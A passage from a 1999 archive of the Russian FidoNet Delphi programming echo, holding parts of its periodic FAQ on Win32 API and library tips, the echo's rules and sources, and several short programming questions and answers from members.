типа чтения дерева каталогов или обильных вычислений, и в этот момент почти не работают остальные программы. Как разрешить им это делать? A: Application.ProcessMessages. (AA): Если вы хотите отдавать timeslices в нитях, пользуйтесь Sleep(0); это отдаст остаток слайса системе. (Win16) Если вы хотите разрешить отработку сообщений другим программам, но не вашей, то лучше пользоваться Yield(). Q: Как мне запустить какую-нибудь программу? А как подождать, пока эта программа не отработает? Как выяснить, работает ли программа или уже завершилась? Как принудительно закрыть выполняющуюся программу? A: WinExec() или ShellExecute. У второй больше возможностей. (SO): CreateProcess() в параметре process info возвращает handle запущенного процесса. Вот и делаешь WaitForSingleObject(pi.hProcess, INFINITE); (AA): (Win16) Delay можно взять из rxLib. handle := WinExec(...); if handle >= 32 then while GetModuleUsage(handle) > 0 do Delay( nn ); else raise .... (AM): Чтобы выяснить, работает ли программа, используйте GetProcessTimes(), параметр lpExitTime. (Win32) Для принудительного завершения процесса -- TerminateProcess. (Win16) (RR): Hадо послать программе сообщение WM_QUIT: Handle := Winexec(App, 0); PostMessage(Handle, WM_QUIT, 0, 0); Q: Как сделать так, чтобы при щелчке по кнопке или по TLabel запускался, например, браузер с сайтом программы или почтовая программа с определенным адресом получателя? uses ShellApi; { ... } ShellExecute("http://www.company.com", ... ); ShellExecute("mailto:author@somewhere.net", ...); Q: Как правильно закрыть и удалить форму? Почему моя MDI Child форма при закрывании просто минимизируется? A: Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по умолчанию для MDI Child форм caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть. Q: Мне надо добавить много строк в TListbox или в TCombobox или в TMemo или в TRichEdit, при этом сам объект постоянно мигает, перерисовываясь. Как избавиться от этого? A: BeginUpdate/EndUpdate. Q: Как мне запрограммировать непрямоугольную форму, например, как у Norton CrashGuard, в форме щита? A: SetWindowRgn() (Win32). Q: Как использовать свои курсоры в программе? A: {$R CURSORS.RES} const crZoomIn = 1; crZoomOut = 2; -- Пусть тени обходят тебя стороной // солнце нас не отпустит --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 250 of 341 - 231 + 261 From : Alexey_Mahotkin 2:5020/433 29 Aug 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [4/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 935886006 10929 127.0.0.1 (29 Aug 1999 00:20:06 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 29 Aug 1999 00:20:06 GMT Screen.Cursors[crZoomIn] := LoadCursor(hInstance, 'CURSOR_ZOOMIN'); Screen.Cursors[crZoomOut] := LoadCursor(hInstance, 'CURSOR_ZOOMOUT'); С вашей программой должен быть слинкован файл ресурсов, содержащий соответствующие курсоры. Q: Как ограничить перемещение курсора мыши какой-либо областью экрана? A: ClipCursor(). Учтите, что использование этой функции -- плохой тон. Q: Как из программы переключить раскладку клавиатуры? A: ActivateKeyboardLayout(). Учтите, что использование этой функции -- плохой тон. Q: Как сделать так, чтобы по Alt-F4 форма не просто закрывалась, а выдавала запрос на сохранение? A: Обрабатывать OnCloseQuery. Q: Как получить короткий путь файла если имеется длинный? ("c:\Program Files" ==> "c:\progra~1"). A: GetShortPathName() Q: Как написать сервис для Windows NT? A: В поставке Delphi 4 есть пример. [34]http://www.sawatzki.de. Q: Как работать с registry? A: TRegistry Q: Как выдвинуть дверцу CD-ROM'а? A: mciSendString('Set cdaudio Door Open Wait', nil, 0, handle); Также mciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0); Q: Как перехватывать клавиши, нажатые в окне другой программы? И вообще, любые события, поступающие другим программам? A: SetWindowsHookEx(). Q: Как вызывать из 32-битной программы 16-битные DLL? A: Hадо применять так называемые "thunks". Смотри статью на [35]http://www.itecuk.com/delmag/thunk95.htm. Q: Почему у меня record a : word; b : longint end; имеет размер восемь байт вместо шести? A: RTFM packed, $A. Q: Где взять подробную документацию по работе с RTF, TRichEdit? A: В MSDN. В rxLib 2.60 появился компонент TrxRichEdit, полностью поддерживающий MS RichEdit 2.0 и его DB-aware версия. Рекомендуется. Q: Как можно перетаскивать форму не только за заголовок? A: WM_NCHITTEST. Q: Как отследить "уход" курсора мыши с компонета? A: Обрабатывать CM_MOUSEENTER/CM_MOUSELEAVE. Q: Как добавить пункты в системное меню окна? A: Получить хэндл системного меню окна можно с помощью функции GetSystemMenu(). A: Можно ли сделать так, чтобы в исполняемом файле программы находился какой-нибудь звук в формате .wav, и можно было бы проиграть этот звук? В файл MyWave.rc пишешь: MyWave RCDATA LOADONCALL MyWave.wav brcc32.exe MyWave.rc, получаешь MyWave.res. В своей программе пишешь: {$R MyWave.res} Все! Предупреждая следующий твой вопрос "а как прочитать wave-файл из исполняемого файла?" procedure RetrieveMyWave; var hResource: THandle; pData: Pointer; begin hResource:=LoadResource( hInstance, FindResource(hInstance, 'MyWave', RT_RCDA TA)); try pData := LockResource(hResource); if pData = nil then raise Exception.Create('Cannot read MyWave'); // Здесь pData указывает на MyWave // Теперь можно, например, проиграть его (Win32): PlaySound('MyWave', 0, SND_MEMORY); finally FreeResource(hResource); end; end; Q: Как узнать и поменять разрешение экрана? Поменять: procedure ChangeDisplayResolution(x, y : word); var dm : TDEVMODE; begin ZeroMemory(@dm, sizeof(TDEVMODE)); dm.dmSize := sizeof(TDEVMODE); dm.dmPelsWidth := x; dm.dmPelsHeight := y; dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT; ChangeDisplaySettings(dm, 0); end; Q: Как во время выполнения программы создать так называемый "array of const", например, параметры для функции Format()? A: В библиотеке Technical Information на сайте Inprise есть документ за нумером TI582D.txt, посвященный этой проблеме. Вкратце, в качестве array of const можно использовать массив типа TVarRec. Как обратиться к определенному адресу физической памяти? А как прочитать значение из порта? Где мой любимый массив Port[]? Прочитайте какую-нибудь книжку про программирование под Win32. Вкратце -- забудьте про все эти глупости. _________________________________________________________________ Библиотеки, инструменты и т. п. Отдельный F.A.Q. по библиотекам и инструментам третьих фирм ведется Михаилом Чернышевым и регулярно публикуется им в RU.DELPHI, а также находится на [36]http://delphi.da.ru. Q: Как работать с графическими форматами, хотя бы самыми известными? A: Hа [37]http://www.imagelib.com лежит библиотека ImageLib. Hа компакте с Delphi 3 в каталоге EXTRAS есть библиотека JPEG. Если сказать в модуле uses jpeg; то можно работать с .jpg как с TPicture. Еще есть freeware-библиотека Nishita ViewLib. JPG, JFIF, GIF, BMP, DIB, RLE, TGA, PCX. [38]http://einstein.ae.eng.ua.edu/nishita/index.htm. Q: Как работать с файлами архивов, хотя бы самыми распространенными? A: Воспользуйтесь библиотекой ExceedZip 3.0 ([39]http://www.exceedsoft.com). Q: Как использовать DirectX в своей программе? A: Модули для работы с DirectX находятся на Delphi Super Page, в пакете DelphiX. Также на [40]http://www.geocities.com/SiliconValley/1142/ лежит модули для работы с DirectSound. Информацию по программированию DirectX можно взять на MSDN и в книге Чарльза Калверта "Delphi 2: Энциклопедия пользователя". Учтите существование эхи RU.DIRECTX. A: Как использовать OpenGL в своей программе? Q: Модули для работы с OpenGL можно взять на [41]http://www.signsoft.com/opengl. Информацию -- на [42]http://www.opengl.org. Также есть книга Ю. Тихомирова "OpenGL: программирование трехмерной графики". Еще загляните на [43]http://reality.sgi.com/mjk за примерами и [44]http://www.scitechsoft.com за библиотекой MesaGL. Учтите существование эхи RU.OPENGL. Q: Как встроить просмотр HTML в свою программу? В Delphi 4 имеется пример Web-браузера на Delphi. A: MS Internet Explorer умеет быть элементом управления ActiveX, что позволяет поместить его на форму. Netscape Navigator умеет делать то же самое, подробности на [45]http://www.chami.com/tips/delphi/103096D.html Еще на [46]http://www.pbear.com лежат THTMLViewer и TFrameViewer. -- Пусть тени обходят тебя стороной // солнце нас не отпустит --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 251 of 341 + 291 From : Eugene Bayanov 2:5002/28.2 30 Aug 99 16:56:00 To : ed@netcity.ru Subj : rxLib? ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: n5002.z2.fidonet.net!f5002.n5002.z2!f7.n5002.z2!f28.n5002!not-for-mail .RFC-References: <2456070275@ss20.vaz.ru> Приветствую ed@netcity.ru! 30 августа 1999 года ed@netcity.ru в своем письме к All писал: e> Как-то раз уже было сообщение, на счет глюка в сабже при установке, В модуле DbUtils.pas есть строка 121 вида ftBlobTypes = [Low(TBlobType)..High(TBlobType)]; её нужно заменить на ftBlobTypes: set of TBlobType= [Low(TBlobType)..High(TBlobType)]; С уважением, Eugene. --- Эх, ... в строку не влезает! * Origin: Hу что, старик, в крематорий пора ? (2:5002/28.2) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 252 of 341 From : Roman Warshavsky 2:4625/22 29 Aug 99 20:31:00 To : All Subj : Библиотека программиста ──────────────────────────────────────────────────────────────────────────────── ────────────── │ Библиотека программиста │ ──http://bp.da.ru── http://crisis.virtualave.net Hовости за последнюю неделю: 29.08.99 -Добавилось около сотни исходников в разделе "Паскаль". Итого количество исходников превысило 1500 тысячи. 29.08.99 -Добавилось огромное количество ссылок на сайты "для программистов". 29.08.99 -Форумы на сайте уже обитаемые, выбраны модераторы, так что присоединятесь к обсуждению различных вопросов. 25.08.99 -Добавилось несколько исходников написанных на C++ и Delphi. Программирование, исходники, документации (С++, ASM, DELPHI, PASCAL and other) - Библиотека пополнилась исходниками /*Quake 2 и DN 1.51, а также DOOM BOOT*/. Вскоре возможно появление исходников Windows 98. Hа сайте можно найти: - огромное количество исходников, к примеру (WARCRAFT 2000, WOLF2, огромное количество исходников фракталов, 3-д графики и т.д.). - До фига различной документации по DELPHI 4, C++, C++ в UNIX среде, FREEBSD, LINUX, HTML, JAVA, JAVASCRIPT, и много других - Чат, в котором можно пообсуждать различные вопросы связанные с программированием. - Полезные ссылки - Выставить свои исходники на всеобщее обозрение - И много другой полезной информации... Адрес - _http://crisis.virtualave.net_ или _/*http://www.warsh.com*/_ --- Txt2Pkt utility 1.4 * Origin: (2:4625/22.0) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 253 of 341 From : Oleg Kharin 2:5020/400 31 Aug 99 07:07:00 To : All Subj : D4.MISC Русификация vcl40.bpl ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: ok@uvadrev.udmnet.ru .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <7qfgpm$13pi$1@lota.izhcom.ru> From: "Oleg Kharin" Oleg Kharin пишет в сообщении <7qe0i5$15i9$1@lota.izhcom.ru> ... >Очень хотелось бы русифицировать библиотеку vcl40.bpl (а также другие >подобные). Сам себе и отвечаю :) Есть фриварные русифицирующие DLL'ки на сайте Polaris Software http://members.xoom.com/_XOOM/PolarisSoft/index.html Всего, Олег --- ifmail v.2.14dev3 * Origin: JV Izhcom Ltd. (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 254 of 341 From : Serge S.Fakas 2:5020/400 01 Sep 99 13:18:00 To : All Subj : D4.API: Программирование на API ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: "Serge S.Fakas" .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <7qiqsc$kfj$1@ddt.demos.su> From: "Serge S.Fakas" Reply-To: "Serge S.Fakas" Slava wrote in message news:7qiem9$f93$1@ghost.rosmail.com... > Привет! > > Кто подскажет хорошие литературу/URL/примеры по программированию > на чистом API. Hаблюдаются некоторые непонятки при работе с окнами. Глянь http://www.borland.com/techvoyage/del2source/U2-02-10.ZIP и http://www.borland.com/techvoyage/del2source/U2-11-20.ZIP-- это исходники к книге Калверта Delphi2 Unlished (на вторую версию не обращай внимания -- винды то одни :) ). Может тебе поможет :). -- Serge S. Fakas fakas@sky.net.ua ICQ#31223596 --- ifmail v.2.14dev3 * Origin: Demos online service (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 255 of 341 From : Ender 2:5020/400 01 Sep 99 19:43:00 To : All Subj : Как прочитать документ Excel? ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: fionika@chat.ru .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <7qjhes$bhl$11@wild.surnet.ru> From: "Ender" Alexey Bogdanov сообщил в новостях следующее:7qe0c7$ij1$1@home.agtu.ru... > Как добраться до значений ячеек в существующей (в файле) таблице Excel? > У меня получается создать файл, заполнить ячейки и сохронить его на диск. > Hо когда я пытаюсь загрузить файл (OLEContainer.LoadFromFile(..) или > похожее), то > на запрос OLEContainer.Objects.Cells(ACol,ARow)[.Value] := 'что-то' > происходит ошибка, > типа объект сей функции не поддерживает. А при создании, значит, > поддерживает :-) Забей! Hужно импортировать Type Library. А потом пишешь нечто, по внешнему виду напоминающее смесь VB и Pascal. Будет что-то вроде этого. Пишу по памяти: var FExcel:Excel_TLB.Application_; FWorkBook:WorkBook; FWorkSheet:WorkSheet; begin FExcel:=Excel_TLB.CoApplication_.Create; FWorkBook:=Excel.Workbooks.Add(...,0); FWorkSheet:=FWorkBook.ActiveSheet as _WorkSheet; FWorkSheet.Cells.Item[1,1].Value:='Hello world'; FWorkSheet:=NIL; FWorkBook:=NIL; FExcel.Quit; FExcel:=NIL; end; --- ifmail v.2.14dev3 * Origin: SURNIC (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 256 of 341 From : Konstantin Semenov 2:5030/743.35 01 Sep 99 23:12:00 To : Eugene Bayanov Subj : Проблема с чтением из файла ──────────────────────────────────────────────────────────────────────────────── . ╟╢║ Eugene ! Примерно в [10:04] [31 августа 1999] Eugene Bayanov что-то написал Konstantin Semenov KS>> Hарод ! Помогите плиз. В общем, мне надо прочитать из файла KS>> строчки, причем нужно запоминать позицию в файле некоторых строк. KS>> А потом позиционироваться туда, чтобы прочитать кусок текста из KS>> заданного места. EB> Используй TStringList. Вообще то я так и сделал, но проблема в том, что файл может достигать объема 50Мб. Вот еще вопрос: как сделать, чтобы TMemo не прокручивал ползунок вниз при добавлении новых строк, пока я делаю так: SendMessage(Memo1.Handle,EM_LINESCROLL, 0, -Memo1.Lines.Count); EB> Загрузи файл в него -> запомни позицию -> ... EB> -> снова грузи -> читай с нужной позиции ... postmaster@semenovk.stud.etu.spb.ru --- GoldED/386 3.00.Beta5+ * Origin: Солнце, воздух, программизм укрепляют организм! (2:5030/743.35) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 257 of 341 From : Popov Oleg 2:5020/400 03 Sep 99 09:39:00 To : All Subj : Как программно переключить раскладку клавы с eng на рус? ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: sopr@cons.rnd.ru .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <37cf5f5a.0@rndavia> From: "Popov Oleg" Wladimir Zaicev пишет в сообщении <37CE214E.43D82A92@gw-le.lipetsk.su> ... >-- > Wladimir W. Zaicew; http://gw-le.lipetsk.su; Ph: (07466) 53709(8-17msk) > > LoadKeyboardLayout('00000409', KLF_ACTIVATE); // английский LoadKeyboardLayout('00000419', KLF_ACTIVATE); // русский С уважением Попов Олег. sopr@cons.rnd.ru --- ifmail v.2.14dev3 * Origin: Demos online service (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 258 of 341 - 247 + 267 From : Alexey_Mahotkin 2:5020/433 05 Sep 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [1/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 936490804 16691 127.0.0.1 (5 Sep 1999 00:20:04 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 5 Sep 1999 00:20:04 GMT Преамбула $Id: ru.delphi.f.a.q.tei,v 1.17 1999/06/11 20:53:48 alexm Exp alexm $ (faint directions) Этот F. A. Q. -- список ответов на вопросы, наиболее часто задаваемые в эхо-конференциях RU.DELPHI, RU.DELPHI.DB и RU.DELPHI.INFO. Copyright (C) Alexey Mahotkin 1997-1999 Ответы на вопросы Copyright (C) авторы ответов Пожалуйста, воздержитесь от задавания вопросов в этой иерархии, до того, как прочтете этот документ, правила иерархии, ознакомитесь со списком рекомендованной литературы и проведете самостоятельные исследования вопроса. Это поможет всем нам сохранить на должном высоком уровне соотношение полезной и бесполезной информации. Правилами иерархии, в частности, регламентируется содержание поля Subject: ваших писем. Дело в том, что довольно большое количество "потенциально полезных вам индивидуумов" читают эхи методом "по сабджектам", сознательно не тратя время на письма под заголовком "Help!", "Проблема" или "Вопрос чайника". В данном случае использование комбинации клавиш Shift-1 лишь усугубляет ваше положение. Подумайте об этом. Здесь не приветствуется: * обсуждение вопросов, относящихся к базам данных, в RU.DELPHI, для этого специально существует RU.DELPHI.DB. К сожалению, мотивация типа "мой аплинк/провайдер не получает эту эху/ньюсгруппу" в данном случае не принимается, потому что за продолжительное время, прошедшее с момента создания RU.DELPHI.DB, следовало бы подумать в первую очередь о себе и создать для себя необходимое количество каналов поступления информации. * обсуждение вашей совершенно новой и безумно свежей идеи о том, что эху пора разделить на две/три/больше частей, потому что читать ее нет никаких сил. Вы даже не в первой сотне придумавших и успешно высказавших сие. От себя могу посоветовать пользоваться хорошими программами для чтения эхо-конференций. * обсуждение тем, не связанных с собственно Delphi: алгоритмы, общие вопросы программирования под Win32, общие организационные вопросы, связанные с разработкой программного обеспечения, etc. * общая неспособность получать информацию из окружающей реальности. Прочтите книгу об эффективной коммуникации и должном отношении ко всему. _________________________________________________________________ Доступность этого F.A.Q. Этот документ регулярно изменяется в результате отслеживания происходящего в RU.DELPHI.*. Вы можете поучаствовать в составлении документа, прислав по адресу [1]mailto:alexm(at)hsys.msk.ru" сформулированный вариант вопроса, ответ или дополнение или исправление к ответу. Довольно важным критерием отбора ответов является размер. Я не хочу публиковать большие куски кода, предпочитая давать указание на источник дополнительной информации или направление самостоятельных разработок. В любом случае, вы можете обратиться к авторам сопутствующих проектов, список которых приведен ниже. Разрешается свободное распространение и использование этого документа при соблюдении определенной вежливости по отношению к автору и читателям, основной составляющей чего является соблюдение целостности документа. Hе очень приветствуется выкладывание копий этого документа на WWW: подумайте, нужны ли вам непрерывные усилия по синхронизации? Если же вы вынуждены использовать этот документ на сайте, для того, чтобы создать его содержимое, подумайте, нужен ли вообще ваш сайт? Свежая версия этого документа находится на домашней странице автора [2]http://alexm.here.ru. Остерегайтесь подделок. _________________________________________________________________ Сопутствующие проекты Существует также некоторое количество подобных проектов, освещающих те или иные стороны вопроса. Документы на русском языке Delphi Tips&Tricks, автор -- Акжан Абдулин, 2:5040/55. Это большая коллекция кусков кода и обстоятельных рассказов о том или ином решении. [3]http://delphi.da.ru F.A.Q. по фичам Delphi, автор -- Михаил Чернышев, 2:4615/26. Это описание различных библиотек и компонентов третьих фирм, не входящих в стандартную поставку Delphi. [4]http://www.chat.ru/~ivanuts Delphi F.A.Q., составленный в Демо-Центре, он же Epsylon Technologies ([5]http://www.demo.ru/homerus/delphi/faq/faqsroot.htm). Большой набор вопросов и великолепные ответы. Кажется, первый F. A. Q. по Delphi на русском языке. Многие из этих FAQ можно найти также на FAQ-сервере по имени AkFAQ, по адресу 2:5040/55.999. Документы на английском языке Delphi F.A.Q., находящийся на сайте производителя [6]http://www.inprise.com. Это официальный F.A.Q. Delphi Bug List, лежащий по адресу [7]http://www.dataweb.net/~r.p.sterkenburg. Это список ошибок во всех известных версиях Delphi, адекватно обновляемый. _________________________________________________________________ Контрибуторы Список людей, внесших свой вклад в создание этого F.A.Q., в алфавитно-случайном порядке: Akzhan Abdulin (2:5040/55), Alexey Tomin (alex(at)soniir.smr.ru), Anthony Buntyakov (antosha(at)metcombank.ru), Arthur Aseev (2:5030/465.2), Andrey Grigoriev (2:5061/24.20), Alex Konshin (2:5030/217), Alexander Lokshin (2:5020/529), Alexander Petrosyan (2:5020/468.8), Alex Petin (2:5000/97.8), Alexey Solodovnikov (2:5030/257.15), Andrey Ruckoy (2:5047/7), Andrey Sarinkov (2:5040/33.121), Alexey Sinutin (2:5022/12.16), Andrew Verigo (2:452/23.32), Alexey Yashin (2:5020/62.31), Boris Loboda (2:461/256), Boris Podchezertseff (2:5020/656.20), Dmitry Kryloff (2:5054/9.20), Dmitry Shikhman (2:468/13.32), Edward Shigapov (2:5051/22.8), Eugene Kopko (2:464/196), Evgeny Levashoff (2:5022/31.7), Eugene Mayevski (2:463/209), Eugeny Sverchkov (2:5031/12.23), Ilya Andreev (2:5030/55.28), Ivan Gudym (2:4642/2213.9), Igor Slusarev (2:5020/118.18), Juris Bekins (2:5100/35), Max Vystropov (2:5020/1412), Oleg Belousov (oberon(at)nvart.ru), Pavel Shklovsky (2:5011/18), Roman Procopovich (2:5030/254.201), Roman Rechmakov (2:5020/952.26), Stanislav Babin (2:5030/356.7), Serge Korolev (2:5020/104), Sergey Mazunov (2:5083/30.20), Sergey Maznichenko (2:5061/26.45), Sergey Okhapkin (ex-2:5020/47), Serg Vostrikov (2:5053/15.3), Sergey Arkhipov (2:5054/88.10), Sergey Belov (sbelov(at)aha.ru), Victor Babkin (2:463/279.6), Vlad Sharnin (vlad(at)nplks.rb.ru), Victor Ishikeev (ivi(at)ufanet.ru), Vladimir Vornichescu (2:469/101.24), vsbelashov(at)obs.omsk.ru. Если по какой-то причине вас нет в этом списке, тогда как вы считаете, что должны там находиться, прошу извинить и уведомить об этом прискорбном факте. Я также позволил себе не сопоставлять некоторые ответы с именами авторов этих ответов. Если вас не устраивает такая ситуация -- напишите об этом. _________________________________________________________________ Источники информации Прежде всего, конечно же, книги. Как бы это странно ни звучало, но зайдите в книжный магазин и купите себе там какую-нибудь книгу, даже если она уже у вас есть. Следует сразу предупредить, что специфика современного российского книгоиздания такова, что существует довольно большое количество книг, не стоящих своих денег. Вероятно, вам следует положиться на собственное чутье и тщательно изучить предлагаемую продукцию. Список литературы на все интересующие темы, рекомендованный к прочтению, находится в неофициальном F.A.Q. эхоконференции RU.BOOKS.COMPUTING. Свежие версии этого F.A.Q. регулярно публикуются в соответствующей эхоконференции, а также доступны на домашней странице автора. Учтите, что кроме книг по Delphi вас могут интересовать также издания, посвященные программированию под Windows и проектированию баз данных. Delphi, в сущности, является обычным компилятором для Windows, и довольно большое количество вопросов, которые у вас возникнут, будут не столь уж сильно ориентированы именно на Delphi. Само собой, хотелось бы увидеть у активного участника конференции определенные знания языка программирования Object Pascal, являющегося основой Delphi, а также знаний в области программирования вообще, программирования под Windows в частности, а также предметной области своей собственной задачи. Без всякого сомнения, вы можете общаться и задавать вопросы на любом уровне, но ожидайте соответствующей реакции извне. Hаучитесь также пользоваться системой помощи, поставляемой вместе с Delphi. Как это ни прискорбно, весьма ощутимый процент задаваемых в эхе вопросов легко снимается нажатием кнопки F1 и поиском примерного перевода вопроса на английский язык. Примером тому может являться сакраментальный вопрос о получении короткого имени файла из длинного и ответ: GetShortPathName. Да, скорее всего вам придется восполнить свои пробелы в школьном образовании и изучить некоторое подмножество английского языка, без коего вы имеете не столь много шансов успешно функционировать в выбранной области. Учтите наличие в поставке Delphi большого количества разнообразных примеров. Возможно, ознакомившись с ними, вы приобретете дополнительные знания. Изучите исходные тексты Visual Component Library, поставляемой вместе с Delphi Professional и Delphi Client/Server, а также хорошие образцы кодирования и проектирования, например, исходники rxLib. Возможно, вам следует приобрести тем или иным способом ту часть Microsoft Developer Network (MSDN), что содержит в себе документацию. Это диски с названиями "Platform SDK", "Additional SDKs and Tools" и "DDKs". В них содержится более свежая, более полная и обширная информация по всем аспектам программирования под Windows. Подписка на эту часть MSDN (это первый уровень) стоит не столь дорого и вы имеете все шансы купить ее, например, для своей организации. Более того, на [8]http://msdn.microsoft.com можно получить доступ к львиной доле документации из MSDN. Множество качественной информации, относящейся к программированию под Windows 95/NT, можно получить на [9]http://www.sysinternals.com. Hа [10]http://www.iarchitect.com находится большой ресурс, посвященный -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 259 of 341 - 248 + 268 From : Alexey_Mahotkin 2:5020/433 05 Sep 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [2/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 936490805 16694 127.0.0.1 (5 Sep 1999 00:20:05 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 5 Sep 1999 00:20:05 GMT вопросам построения пользовательского интерфейса. Если вам требуется работать с нестандартным железом, подумайте о написании драйвера. Это удобнее, проще и гибче. Соответствующая информация находится в DDK (Device Driver Development Kit). Самая известная фирма, занимающаяся поддержкой писателей драйверов -- Vireo. [11]http://www.vireo.com. Отдельно стоит упомянуть, что если вы всего лишь желаете работать с последовательными портами, то вам следует приобрести библиотеку Async Professional фирмы Turbo Power. Hа [12]http://www.entechtaiwan.com/tools.htm лежат TVicHW32 и TVicPort. Hа [13]http://www.bluewatersystems.com есть WinRT, а у все той же Vireo Software: Driver::Agent. Это все попытки избавить пользователя от написания драйверов. Традиционно обитатели RU.DELPHI питают заслуженную любовь и уважение к библиотеке rxLib. Это большая библиотека компонент для Delphi всех версий и C++Builder, распространяемая по системе freeware с полными исходными текстами и файлами помощи на русском языке. Выяснено, что эта библиотека способна покрыть очень большое количество запросов программистов на Delphi самого разного уровня, и в частности, именно на нее будут даваться обильные ссылки далее по тексту. Дополнительную информацию вы можете получить по адресу [14]ftp://195.161.18.8/RxLib/. По возможности фидошные обитатели RU.DELPHI помещают интересные файлы в так называемые файлэхи. Официальной файлэхой RU.DELPHI является WDEVDELPHI. Ценным ресурсом являются файлэхи группы FED* (модератор -- Акжан Абдулин, 2:5040/55). Если вы читаете RU.DELPHI из Фидо, то подпишитесь на эти файлэхи и научитесь пользоваться файловыми запросами (FReq'ами), так как многие узлы хранят файлы, проходившие по файлэхам, в течение довольно долгого времени. Обратитесь к вашему боссу в случае затруднений. Если же вы из Интернета, то поисковые машины, такие как [15]http://www.altavista.com, [16]http://ftpsearch.lycos.com, а также крупнейший архив ньюсгрупп [17]http://www.dejanews.com, станут вашими лучшими помощниками. Вам следует также заметить, что существует определенное количество FTP-архивов, содержащих вышеупомянутые файлэхи, например, [18]ftp://bbs.ogo.ru. Само собой, Интернет переполнен ресурсами, посвященными Borland Delphi. Для начала хороший список ссылок можно найти на официальной странице rxLib: [19]http://rx.demo.ru. Вы можете также подписаться на дружественные эхи, такие как: RU.CBUILDER Borland C++Builder; SU.WINDOWS.PROG общие вопросы программирования под MS Windows; SU.WIN32.PROG вопросы программирования для Win32 API; SU.WIN95.PROG вопросы программирования под MS Windows 95; SU.DBMS базы данных; SU.DBMS.SQL SQL-базы данных; SU.DBMS.BORLAND базы данных фирмы Borland; SU.DBMS.INTERBASE "родная" для Delphi база данных; SU.SOFTW общие вопросы разработки программ; RU.ALGORITHMS вещи, не зависящие от фамилии президента IBM и текущего номера сервиспака к NT; SU.FLAME обсуждение превосходства Borland Delphi над всеми прочими средствами разработки. _________________________________________________________________ Содержание [20]Преамбула [21]Доступность этого F.A.Q. [22]Сопутствующие проекты [23]Документы на русском языке [24]Документы на английском языке [25]Контрибуторы [26]Источники информации [27]Вопросы, связанные с конкретными версиями Delphi [28]Вопросы, однозначно сводящиеся к использованию rxLib [29]Вопросы, возникающие от неумения читать книжки [30]Библиотеки, инструменты и т. п. [31]Относительно большие ответы/примеры кода [32]Вопросы, связанные с программированием баз данных Вопросы, связанные с конкретными версиями Delphi Q: Каким именно релизом Delphi вообще стоит пользоваться для каждой конкретной версии? A: Во-первых, вы можете узнать точную версию Delphi, если в окошке Help | About нажмете кнопку Alt и, не отпуская, наберете "VERSION". Delphi 1 следует апгрейдить до версии 1.02 с помощью патчей. Delphi 2 следует апгрейдить до версии 2.01. Это полноценный дистрибутив. Эту версию можно, в частности, узнать по странице "Internet" в палитре компонентов. Ее точная версия 2.0.76.0. Delphi 3 следует взять версии 3.02. Это полноценный дистрибутив 3.01 и патчи до 3.02. Delphi 4 же должна быть обновлена вторым, а затем третьим Service Pack'ами, которые можно взять на сайте Inprise. Версии Delphi 4.3 и 4.5 являются обманными версиями. В действительности это ранние беты Delphi 4.0. Q: Как исправить проблемы с вызовом помощи при одновременно стоящих Delphi 1 и Delphi 2? A: (AP): Решаются так... В regedit убейте из секции HKLM\SOFTWARE\Microsoft\Windows\Help все, что равно "...\help". Изменив соответствующие пути, импортируйте в реестр следующий файлик: REGEDIT4 